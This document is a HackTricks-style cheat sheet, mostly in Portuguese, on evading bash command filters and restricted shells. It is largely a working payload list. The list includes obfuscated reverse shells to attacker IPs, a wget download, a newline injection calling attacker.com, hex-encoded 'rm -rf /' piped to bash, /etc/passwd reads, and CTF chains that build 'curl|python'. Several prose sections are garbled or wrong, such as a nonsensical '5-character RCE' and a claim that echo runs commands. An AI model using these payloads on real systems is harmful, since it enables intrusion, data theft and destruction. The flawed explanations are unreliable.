hacktricks/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md

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# Bypassar Restrições no Linux
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## Bypass de Limitações Comuns
### Shell Reverso
```bash
# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
```
### Shell reverso curto
Um shell reverso curto é uma técnica de hacking que permite a um invasor obter acesso a um sistema remoto e executar comandos nele. O invasor cria um shell reverso no sistema alvo, que se conecta de volta ao invasor, permitindo assim o controle remoto do sistema. Isso pode ser usado para explorar vulnerabilidades e obter acesso não autorizado a sistemas. É importante ressaltar que o uso de um shell reverso para fins maliciosos é ilegal e pode resultar em consequências legais graves.
```bash
#Trick from Dikline
#Get a rev shell with
(sh)0>/dev/tcp/10.10.10.10/443
#Then get the out of the rev shell executing inside of it:
exec >&0
```
### Bypassar Caminhos e palavras proibidas
Existem várias técnicas que podem ser usadas para contornar restrições de caminhos e palavras proibidas no Bash. Aqui estão algumas delas:
1. **Usar caminhos absolutos**: Em vez de usar caminhos relativos, você pode usar caminhos absolutos para acessar arquivos ou executáveis que estão restritos. Por exemplo, em vez de digitar `./arquivo_restrito`, você pode digitar `/caminho_completo/arquivo_restrito`.
2. **Usar caracteres de escape**: Se uma palavra está proibida, você pode usar caracteres de escape para contornar a restrição. Por exemplo, se a palavra proibida é `proibido`, você pode digitar `pro\ibido` para evitar a detecção.
3. **Renomear arquivos ou executáveis**: Se um arquivo ou executável está restrito, você pode renomeá-lo para evitar a detecção. Por exemplo, se o arquivo restrito é chamado de `restrito.sh`, você pode renomeá-lo para `permitido.sh` e executá-lo usando o novo nome.
4. **Usar aliases**: Você pode criar aliases para comandos ou executáveis restritos. Por exemplo, se o comando `ls` está restrito, você pode criar um alias chamado `listar` que execute o mesmo comando.
5. **Usar variáveis de ambiente**: Você pode usar variáveis de ambiente para contornar restrições. Por exemplo, se um caminho está restrito, você pode definir uma variável de ambiente com o caminho desejado e usá-la em vez do caminho restrito.
Lembre-se de que essas técnicas devem ser usadas com responsabilidade e apenas para fins legais e autorizados. O uso indevido dessas técnicas pode resultar em consequências legais.
```bash
# Question mark binary substitution
/usr/bin/p?ng # /usr/bin/ping
nma? -p 80 localhost # /usr/bin/nmap -p 80 localhost
# Wildcard(*) binary substitution
/usr/bin/who*mi # /usr/bin/whoami
# Wildcard + local directory arguments
touch -- -la # -- stops processing options after the --
ls *
echo * #List current files and folders with echo and wildcard
# [chars]
/usr/bin/n[c] # /usr/bin/nc
# Quotes
'p'i'n'g # ping
"w"h"o"a"m"i # whoami
ech''o test # echo test
ech""o test # echo test
bas''e64 # base64
#Backslashes
\u\n\a\m\e \-\a # uname -a
/\b\i\n/////s\h
# $@
who$@ami #whoami
# Transformations (case, reverse, base64)
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi") #whoami -> Upper case to lower case
$(a="WhOaMi";printf %s "${a,,}") #whoami -> transformation (only bash)
$(rev<<<'imaohw') #whoami
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==) #base64
# Execution through $0
echo whoami|$0
# Uninitialized variables: A uninitialized variable equals to null (nothing)
cat$u /etc$u/passwd$u # Use the uninitialized variable without {} before any symbol
p${u}i${u}n${u}g # Equals to ping, use {} to put the uninitialized variables between valid characters
# Fake commands
p$(u)i$(u)n$(u)g # Equals to ping but 3 errors trying to execute "u" are shown
w`u`h`u`o`u`a`u`m`u`i # Equals to whoami but 5 errors trying to execute "u" are shown
# Concatenation of strings using history
!-1 # This will be substitute by the last command executed, and !-2 by the penultimate command
mi # This will throw an error
whoa # This will throw an error
!-1!-2 # This will execute whoami
```
### Bypassar espaços proibidos
Em algumas situações, você pode encontrar restrições que impedem o uso de espaços em comandos no Bash. No entanto, existem algumas técnicas que você pode usar para contornar essas restrições.
Uma maneira de contornar essa restrição é usar a barra invertida (\) para escapar o espaço. Por exemplo, em vez de digitar um espaço normalmente, você pode digitar "\ " para representar um espaço.
Outra técnica é usar aspas para envolver o comando que contém espaços. Por exemplo, em vez de digitar um comando como `ls -l /etc/passwd`, você pode digitar `'ls -l /etc/passwd'` ou `"ls -l /etc/passwd"`.
Além disso, você também pode usar a variável de ambiente `$IFS` para contornar as restrições de espaço. O `$IFS` é o separador de campo interno e, por padrão, inclui o espaço como um separador. No entanto, você pode alterar o valor do `$IFS` para outro caractere, como um ponto-e-vírgula (;), para evitar problemas com espaços. Por exemplo, você pode executar o comando `IFS=';' ls -l /etc/passwd` para contornar as restrições de espaço.
Lembre-se de que essas técnicas podem não funcionar em todas as situações, pois dependem das configurações e restrições específicas do sistema. É importante entender as implicações de segurança ao contornar restrições e usá-las com cuidado.
```bash
# {form}
{cat,lol.txt} # cat lol.txt
{echo,test} # echo test
# IFS - Internal field separator, change " " for any other character ("]" in this case)
cat${IFS}/etc/passwd # cat /etc/passwd
cat$IFS/etc/passwd # cat /etc/passwd
# Put the command line in a variable and then execute it
IFS=];b=wget]10.10.14.21:53/lol]-P]/tmp;$b
IFS=];b=cat]/etc/passwd;$b # Using 2 ";"
IFS=,;`cat<<<cat,/etc/passwd` # Using cat twice
# Other way, just change each space for ${IFS}
echo${IFS}test
# Using hex format
X=$'cat\x20/etc/passwd'&&$X
# Using tabs
echo "ls\x09-l" | bash
# New lines
p\
i\
n\
g # These 4 lines will equal to ping
# Undefined variables and !
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
uname!-1\-a # This equals to uname -a
```
### Bypassar barra invertida e barra
Às vezes, ao tentar executar comandos em um ambiente restrito do Bash, você pode encontrar restrições que impedem o uso de barras invertidas (\) e barras (/). No entanto, existem algumas técnicas que você pode usar para contornar essas restrições.
#### Usando caracteres hexadecimais
Uma maneira de contornar as restrições é usar caracteres hexadecimais para representar as barras invertidas e barras. Por exemplo, em vez de usar a barra invertida (\), você pode usar o código hexadecimal \x5c. Da mesma forma, em vez de usar a barra (/), você pode usar o código hexadecimal \x2f.
```
$ echo -e "ls\x20-l"
```
#### Usando o comando printf
Outra técnica é usar o comando printf para imprimir os caracteres desejados. Por exemplo, você pode usar o seguinte comando para imprimir uma barra invertida (\):
```
$ printf "%s" "\\"
```
Da mesma forma, você pode usar o seguinte comando para imprimir uma barra (/):
```
$ printf "%s" "/"
```
#### Usando o comando echo com a opção -e
O comando echo também pode ser usado para contornar as restrições. Você pode usar a opção -e para interpretar sequências de escape. Por exemplo, você pode usar o seguinte comando para imprimir uma barra invertida (\):
```
$ echo -e "\\"
```
Da mesma forma, você pode usar o seguinte comando para imprimir uma barra (/):
```
$ echo -e "/"
```
Essas técnicas podem ser úteis ao tentar contornar restrições de barras invertidas e barras em um ambiente restrito do Bash. No entanto, é importante lembrar que o uso dessas técnicas pode violar políticas de segurança e ser considerado uma atividade maliciosa. Portanto, sempre obtenha permissão adequada antes de realizar qualquer teste ou atividade de hacking.
```bash
cat ${HOME:0:1}etc${HOME:0:1}passwd
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
```
### Bypassar pipes
Pipes são uma forma comum de redirecionar a saída de um comando para a entrada de outro comando no Linux. No entanto, em certos casos, pode haver restrições que impedem o uso de pipes. Felizmente, existem algumas maneiras de contornar essas restrições e usar pipes mesmo quando eles são bloqueados.
#### Usando process substitution
Uma maneira de contornar as restrições de pipes é usar a substituição de processos. A substituição de processos permite que você execute um comando e use sua saída como entrada para outro comando, sem a necessidade de um pipe.
Para usar a substituição de processos, você pode usar a sintaxe `<(comando)`. Por exemplo, se você quiser executar o comando `cat` em um arquivo que está bloqueado para pipes, você pode usar a substituição de processos da seguinte maneira:
```
cat <(comando)
```
#### Usando o comando `tee`
Outra maneira de contornar as restrições de pipes é usar o comando `tee`. O comando `tee` lê a entrada padrão e a grava tanto na saída padrão quanto em um arquivo especificado.
Para usar o comando `tee` para contornar as restrições de pipes, você pode redirecionar a saída do comando para o `tee` e, em seguida, redirecionar a saída do `tee` para o próximo comando. Por exemplo:
```
comando1 | tee /dev/tty | comando2
```
Neste exemplo, a saída do `comando1` é redirecionada para o `tee`, que a grava na saída padrão (`/dev/tty`) e também a redireciona para o `comando2`.
#### Usando o comando `socat`
O comando `socat` é uma ferramenta poderosa que pode ser usada para criar conexões entre processos. Ele pode ser usado para contornar as restrições de pipes, criando uma conexão entre a saída de um comando e a entrada de outro comando.
Para usar o `socat` para contornar as restrições de pipes, você pode usar a seguinte sintaxe:
```
socat EXEC:"comando1",pty EXEC:"comando2"
```
Neste exemplo, o `socat` cria uma conexão entre a saída do `comando1` e a entrada do `comando2`, permitindo que você use pipes mesmo quando eles são bloqueados.
#### Conclusão
Bypassar restrições de pipes pode ser útil em certas situações em que você precisa redirecionar a saída de um comando para a entrada de outro comando, mas os pipes estão bloqueados. Usando a substituição de processos, o comando `tee` ou o comando `socat`, você pode contornar essas restrições e realizar as tarefas necessárias.
```bash
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
```
### Bypassar com codificação hexadecimal
Às vezes, certas restrições de segurança podem ser aplicadas a comandos Bash para evitar a execução de certas ações. No entanto, é possível contornar essas restrições usando a codificação hexadecimal.
A codificação hexadecimal envolve a conversão de caracteres ASCII em sua representação hexadecimal correspondente. Isso permite que você insira caracteres especiais ou proibidos em um comando, contornando assim as restrições impostas.
Aqui está um exemplo de como usar a codificação hexadecimal para contornar restrições de Bash:
Suponha que você queira executar o comando `rm -rf /` (que é um comando perigoso que exclui todos os arquivos e diretórios do sistema). No entanto, a restrição de Bash impede a execução desse comando.
Para contornar essa restrição, você pode usar a codificação hexadecimal para representar cada caractere do comando. Aqui está como você pode fazer isso:
```
$ echo -e "\x72\x6d\x20\x2d\x72\x66\x20\x2f" | bash
```
Neste exemplo, cada caractere do comando `rm -rf /` foi convertido em sua representação hexadecimal correspondente e passado para o comando `echo -e`. Em seguida, o comando `echo -e` é encadeado com o comando `bash`, que executa o comando convertido.
Ao usar a codificação hexadecimal, você pode contornar as restrições de Bash e executar comandos que normalmente seriam bloqueados. No entanto, tenha cuidado ao usar essa técnica, pois ela pode ser perigosa se usada de forma inadequada.
```bash
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat abc
`echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
cat `xxd -r -p <<< 2f6574632f706173737764`
xxd -r -ps <(echo 2f6574632f706173737764)
cat `xxd -r -ps <(echo 2f6574632f706173737764)`
```
### Bypassar IPs
Existem várias técnicas para contornar restrições de IP em um sistema Linux. Aqui estão algumas delas:
- **Usar uma VPN**: Uma VPN (Rede Virtual Privada) permite que você se conecte a um servidor em uma localização diferente, mascarando seu endereço IP real. Isso pode ajudar a contornar restrições de IP impostas por firewalls ou bloqueios geográficos.
- **Usar um proxy**: Um proxy atua como intermediário entre você e o servidor de destino, ocultando seu endereço IP real. Existem vários tipos de proxies disponíveis, como proxies HTTP, SOCKS e reversos.
- **Usar a rede Tor**: A rede Tor é uma rede anônima que permite que você navegue na internet de forma anônima. Ao usar a rede Tor, seu tráfego é roteado através de vários nós, tornando difícil rastrear sua atividade online.
- **Alterar o endereço IP**: Dependendo da sua configuração de rede, você pode ser capaz de alterar seu endereço IP manualmente. Isso pode ser feito por meio de configurações de rede ou usando ferramentas como o comando `ifconfig` ou `ip`.
Lembre-se de que o uso dessas técnicas pode ser ilegal ou violar os termos de serviço de certos sites ou serviços. Sempre verifique as leis e regulamentos locais antes de usar qualquer uma dessas técnicas.
```bash
# Decimal IPs
127.0.0.1 == 2130706433
```
### Exfiltração de dados baseada em tempo
A exfiltração de dados baseada em tempo é uma técnica utilizada para transferir dados de um sistema comprometido para um local externo, aproveitando atrasos de tempo. Essa técnica é útil quando outras formas de exfiltração de dados, como transferências de arquivos ou conexões de rede diretas, são bloqueadas ou monitoradas.
Existem várias maneiras de realizar a exfiltração de dados baseada em tempo, e uma delas é através do uso de comandos do Linux. O Bash, um interpretador de comandos amplamente utilizado no Linux, possui algumas restrições de segurança que podem dificultar a execução de certos comandos. No entanto, existem maneiras de contornar essas restrições e realizar a exfiltração de dados.
Aqui estão alguns comandos úteis do Linux que podem ser usados para contornar as restrições do Bash e realizar a exfiltração de dados baseada em tempo:
- `ping`: O comando `ping` pode ser usado para enviar pacotes ICMP para um host externo. Ao ajustar o intervalo de tempo entre os pacotes, é possível transmitir dados através dos atrasos de tempo entre os pacotes.
- `sleep`: O comando `sleep` pode ser usado para criar atrasos de tempo entre a execução de comandos. Ao ajustar o tempo de espera, é possível transmitir dados através dos atrasos de tempo entre os comandos.
- `nc`: O comando `nc`, também conhecido como Netcat, é uma ferramenta de rede versátil que pode ser usada para criar conexões de rede. Ao ajustar os atrasos de tempo entre as transmissões de dados, é possível realizar a exfiltração de dados.
Esses comandos podem ser combinados com outras técnicas de hacking para criar um método eficaz de exfiltração de dados baseada em tempo. No entanto, é importante lembrar que a exfiltração de dados é uma atividade ilegal e antiética, e deve ser realizada apenas com permissão legal e para fins legítimos, como testes de penetração autorizados.
```bash
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
```
### Obtendo caracteres de Variáveis de Ambiente
Em certos cenários de hacking, pode ser útil obter caracteres específicos de variáveis de ambiente no sistema Linux. Isso pode ser feito usando o comando `echo` e a sintaxe `${var:offset:length}` para extrair os caracteres desejados.
Aqui está um exemplo de como obter os caracteres de uma variável de ambiente chamada `SECRET`:
```bash
echo ${SECRET:0:1} # Obtém o primeiro caractere
echo ${SECRET:1:1} # Obtém o segundo caractere
echo ${SECRET:2:1} # Obtém o terceiro caractere
```
Substitua `SECRET` pelo nome da variável de ambiente que você deseja explorar. O `offset` representa a posição do caractere desejado na variável (começando em 0), e `length` é o número de caracteres que você deseja extrair.
Essa técnica pode ser útil para explorar vulnerabilidades em sistemas Linux e obter informações sensíveis armazenadas em variáveis de ambiente. No entanto, é importante lembrar que o acesso não autorizado a informações confidenciais é ilegal e deve ser realizado apenas com permissão adequada e para fins legítimos, como testes de penetração autorizados.
```bash
echo ${LS_COLORS:10:1} #;
echo ${PATH:0:1} #/
```
### Exfiltração de dados DNS
Você pode usar **burpcollab** ou [**pingb**](http://pingb.in), por exemplo.
### Comandos internos
Caso você não consiga executar funções externas e tenha acesso apenas a um **conjunto limitado de comandos internos para obter RCE**, existem alguns truques úteis para fazer isso. Geralmente, você **não poderá usar todos** os **comandos internos**, então você deve **conhecer todas as suas opções** para tentar burlar a restrição. Ideia do [**devploit**](https://twitter.com/devploit).\
Primeiro, verifique todos os [**comandos internos do shell**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)**.** Em seguida, aqui estão algumas **recomendações**:
```bash
# Get list of builtins
declare builtins
# In these cases PATH won't be set, so you can try to set it
PATH="/bin" /bin/ls
export PATH="/bin"
declare PATH="/bin"
SHELL=/bin/bash
# Hex
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")
# Input
read aaa; exec $aaa #Read more commands to execute and execute them
read aaa; eval $aaa
# Get "/" char using printf and env vars
printf %.1s "$PWD"
## Execute /bin/ls
$(printf %.1s "$PWD")bin$(printf %.1s "$PWD")ls
## To get several letters you can use a combination of printf and
declare
declare functions
declare historywords
# Read flag in current dir
source f*
flag.txt:1: command not found: CTF{asdasdasd}
# Read file with read
while read -r line; do echo $line; done < /etc/passwd
# Get env variables
declare
# Get history
history
declare history
declare historywords
# Disable special builtins chars so you can abuse them as scripts
[ #[: ']' expected
## Disable "[" as builtin and enable it as script
enable -n [
echo -e '#!/bin/bash\necho "hello!"' > /tmp/[
chmod +x [
export PATH=/tmp:$PATH
if [ "a" ]; then echo 1; fi # Will print hello!
```
### Injeção de comando poliglota
Polyglot command injection is a technique used to bypass restrictions in Bash commands. It involves injecting malicious code that can be interpreted by multiple programming languages, allowing an attacker to execute arbitrary commands on a target system.
To perform a polyglot command injection, an attacker needs to find a command that is valid in both Bash and another programming language. This can be achieved by using special characters and syntax that are interpreted differently by each language.
For example, consider the following command:
```
$(command)
```
In Bash, this syntax is used to execute a command and substitute its output. However, in some programming languages like PHP, this syntax is used to execute a command directly.
By using this command injection technique, an attacker can bypass restrictions that prevent the execution of certain commands in Bash. This can be particularly useful in situations where the target system has restricted access or limited functionality.
To protect against polyglot command injection attacks, it is important to sanitize user input and validate any commands that are executed on the system. Additionally, keeping software and systems up to date with the latest security patches can help mitigate the risk of such attacks.
```bash
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
```
### Bypassar possíveis regexes
Às vezes, ao realizar testes de penetração, você pode encontrar restrições de entrada que usam expressões regulares (regexes) para validar os dados. No entanto, existem algumas técnicas que você pode usar para contornar essas restrições e enviar dados que normalmente seriam bloqueados.
Uma técnica comum é usar caracteres especiais para escapar dos metacaracteres usados nas regexes. Por exemplo, se a regex proíbe o uso do caractere ponto (.), você pode escapá-lo usando uma barra invertida (\). Dessa forma, a regex não reconhecerá o ponto como um metacaractere e permitirá que você o utilize.
Outra técnica é usar conjuntos de caracteres para contornar as restrições. Por exemplo, se a regex proíbe o uso de letras minúsculas, você pode usar um conjunto de caracteres que inclua apenas letras maiúsculas. Isso permitirá que você envie dados que não seriam normalmente aceitos.
Além disso, você também pode tentar explorar falhas nas regexes, como a falta de âncoras de início (^) e fim ($), que podem permitir que você envie dados que não atendam às restrições impostas.
Lembre-se de que essas técnicas devem ser usadas com cautela e apenas para fins legais e éticos, como parte de testes de penetração autorizados.
```bash
# A regex that only allow letters and numbers might be vulnerable to new line characters
1%0a`curl http://attacker.com`
```
### Bashfuscator
O Bashfuscator é uma ferramenta poderosa usada para ofuscar scripts Bash, tornando-os mais difíceis de serem detectados e analisados. Ele usa várias técnicas de ofuscação para modificar o código-fonte do script, tornando-o menos legível para os olhos humanos e mais desafiador para análise automatizada.
O Bashfuscator pode ser usado para contornar restrições impostas em ambientes restritos, onde a execução de scripts Bash é limitada ou monitorada. Ao ofuscar o script, é possível evitar a detecção de palavras-chave ou padrões específicos que poderiam acionar alertas de segurança.
Além disso, o Bashfuscator também pode ser usado para proteger a propriedade intelectual de scripts Bash, dificultando a engenharia reversa e a cópia não autorizada.
No entanto, é importante ressaltar que o Bashfuscator não é uma ferramenta de hacking em si. Seu objetivo principal é fornecer uma camada adicional de proteção e privacidade para scripts Bash legítimos. O uso indevido dessa ferramenta para fins maliciosos é estritamente proibido e pode resultar em consequências legais.
Para usar o Bashfuscator, basta fornecer o script Bash que deseja ofuscar como entrada e executar o comando apropriado. O Bashfuscator irá processar o script e gerar uma versão ofuscada que pode ser executada normalmente.
É importante lembrar que a ofuscação não é uma solução infalível e não deve ser considerada como a única medida de segurança. É sempre recomendável implementar outras práticas de segurança, como controle de acesso adequado, monitoramento de logs e atualizações regulares do sistema operacional e software.
```bash
# From https://github.com/Bashfuscator/Bashfuscator
./bashfuscator -c 'cat /etc/passwd'
```
### RCE com 5 caracteres
Uma técnica comum para explorar vulnerabilidades de execução remota de código (RCE) é a utilização de comandos de shell para executar código arbitrário no sistema alvo. No entanto, em alguns casos, o uso de certos caracteres especiais pode ser restrito, dificultando a execução de comandos maliciosos.
Neste cenário, vamos explorar uma técnica que permite contornar restrições de caracteres e executar comandos RCE com apenas 5 caracteres. Essa técnica é conhecida como "RCE com 5 caracteres".
#### Pré-requisitos
Antes de prosseguir, é importante ter acesso a um shell interativo no sistema alvo. Isso pode ser obtido através de uma vulnerabilidade de injeção de comandos ou por meio de acesso legítimo ao sistema.
#### Passo a passo
1. Abra um shell interativo no sistema alvo.
2. Utilize o seguinte comando para executar um comando RCE com 5 caracteres:
```bash
$ {IFS?x};x=cmd
```
3. O comando acima define a variável `x` como `cmd` e utiliza o caractere de espaço (`{IFS?x}`) para separar os comandos. Isso permite que o comando `cmd` seja executado.
4. Agora, você pode executar comandos arbitrários utilizando a variável `x`. Por exemplo, para listar o conteúdo do diretório atual, utilize o seguinte comando:
```bash
$ $x /c dir
```
5. Você pode adaptar essa técnica para executar outros comandos RCE com apenas 5 caracteres, substituindo o valor da variável `x` conforme necessário.
#### Considerações finais
A técnica "RCE com 5 caracteres" é uma forma criativa de contornar restrições de caracteres e executar comandos RCE em sistemas que possuem limitações nesse sentido. No entanto, é importante lembrar que a exploração de vulnerabilidades e a execução de comandos em sistemas sem autorização é ilegal e antiética. Essas informações são fornecidas apenas para fins educacionais e de conscientização sobre segurança.
```bash
# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
#Oragnge Tsai solution
## Step 1: generate `ls -t>g` to file "_" to be able to execute ls ordening names by cration date
http://host/?cmd=>ls\
http://host/?cmd=ls>_
http://host/?cmd=>\ \
http://host/?cmd=>-t\
http://host/?cmd=>\>g
http://host/?cmd=ls>>_
## Step2: generate `curl orange.tw|python` to file "g"
## by creating the necesary filenames and writting that content to file "g" executing the previous generated file
http://host/?cmd=>on
http://host/?cmd=>th\
http://host/?cmd=>py\
http://host/?cmd=>\|\
http://host/?cmd=>tw\
http://host/?cmd=>e.\
http://host/?cmd=>ng\
http://host/?cmd=>ra\
http://host/?cmd=>o\
http://host/?cmd=>\ \
http://host/?cmd=>rl\
http://host/?cmd=>cu\
http://host/?cmd=sh _
# Note that a "\" char is added at the end of each filename because "ls" will add a new line between filenames whenwritting to the file
## Finally execute the file "g"
http://host/?cmd=sh g
# Another solution from https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
# Instead of writing scripts to a file, create an alphabetically ordered the command and execute it with "*"
https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
## Execute tar command over a folder
http://52.199.204.34/?cmd=>tar
http://52.199.204.34/?cmd=>zcf
http://52.199.204.34/?cmd=>zzz
http://52.199.204.34/?cmd=*%20/h*
# Another curiosity if you can read files of the current folder
ln /f*
## If there is a file /flag.txt that will create a hard link
## to it in the current folder
```
### RCE com 4 caracteres
Neste capítulo, vamos explorar uma técnica de execução remota de código (RCE) usando apenas 4 caracteres. Essa técnica é extremamente útil quando você está lidando com restrições de shell, como quando o acesso ao shell é limitado ou quando certos caracteres são bloqueados.
A ideia por trás dessa técnica é usar um comando do Linux que tenha apenas 4 caracteres para executar um código arbitrário. Aqui estão alguns comandos úteis que podem ser usados:
1. `echo`: O comando `echo` é usado para imprimir uma linha de texto na saída padrão. No entanto, também pode ser usado para executar comandos. Por exemplo, você pode usar o comando `echo` para executar um comando como `ls` da seguinte maneira: `echo ls`.
2. `eval`: O comando `eval` é usado para avaliar uma string como um comando. Isso significa que você pode usar o comando `eval` para executar qualquer comando que desejar. Por exemplo, você pode usar o comando `eval` para executar um comando como `ls` da seguinte maneira: `eval ls`.
3. `$_`: A variável especial `$_` contém o último argumento do comando anterior. Isso significa que você pode usar a variável `$_` para executar o último comando novamente. Por exemplo, se você executar o comando `ls`, poderá executá-lo novamente usando `$_`.
4. `!!`: O comando `!!` é usado para executar o último comando novamente. Isso pode ser útil quando você deseja repetir o último comando executado. Por exemplo, se você executar o comando `ls`, poderá executá-lo novamente usando `!!`.
Esses comandos podem ser usados para executar código arbitrário e contornar restrições de shell. No entanto, é importante lembrar que o uso indevido dessas técnicas pode ser ilegal e antiético. Sempre obtenha permissão adequada antes de realizar qualquer teste de penetração ou hacking.
```bash
# In a similar fashion to the previous bypass this one just need 4 chars to execute commands
# it will follow the same principle of creating the command `ls -t>g` in a file
# and then generate the full command in filenames
# generate "g> ht- sl" to file "v"
'>dir'
'>sl'
'>g\>'
'>ht-'
'*>v'
# reverse file "v" to file "x", content "ls -th >g"
'>rev'
'*v>x'
# generate "curl orange.tw|python;"
'>\;\\'
'>on\\'
'>th\\'
'>py\\'
'>\|\\'
'>tw\\'
'>e.\\'
'>ng\\'
'>ra\\'
'>o\\'
'>\ \\'
'>rl\\'
'>cu\\'
# got shell
'sh x'
'sh g'
```
## Bypassando Restrições do Bash
Se você estiver dentro de um sistema de arquivos com as proteções de **somente leitura e noexec** ou até mesmo em um contêiner distroless, ainda existem maneiras de **executar binários arbitrários, até mesmo um shell!**:
{% content-ref url="../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/" %}
[bypass-fs-protections-read-only-no-exec-distroless](../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/)
{% endcontent-ref %}
## Bypass de Chroot e outras Jails
{% content-ref url="../privilege-escalation/escaping-from-limited-bash.md" %}
[escaping-from-limited-bash.md](../privilege-escalation/escaping-from-limited-bash.md)
{% endcontent-ref %}
## Referências e Mais
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
* [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet)
* [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
* [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
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